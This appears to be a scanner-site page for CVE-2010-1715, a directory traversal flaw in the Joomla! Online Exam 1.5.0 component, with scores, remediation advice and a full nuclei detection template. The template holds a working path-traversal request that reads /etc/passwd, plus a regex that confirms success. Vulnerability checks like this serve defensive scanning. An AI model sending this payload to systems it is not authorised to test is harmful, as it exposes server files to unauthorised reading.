Joomla! Component Online Exam 1.5.0 - Local File Inclusion

mediumseverity

6.8CVSS score

8.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Online Exam components.

Fix

Update to the latest version of Joomla! Component Online Exam and apply any available patches or security updates.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1715 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1715

info:
  name: Joomla! Component Online Exam 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Online Exam components.
  remediation: |
    Update to the latest version of Joomla! Component Online Exam and apply any available patches or security updates.
  reference:
    - https://www.exploit-db.com/exploits/12174
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1715
    - http://packetstormsecurity.org/1004-exploits/joomlaonlineexam-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57677
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1715
    cwe-id: CWE-22
    epss-score: 0.08177
    epss-percentile: 0.94909
    cpe: cpe:2.3:a:pucit.edu:com_onlineexam:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pucit.edu
    product: com_onlineexam
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,pucit.edu,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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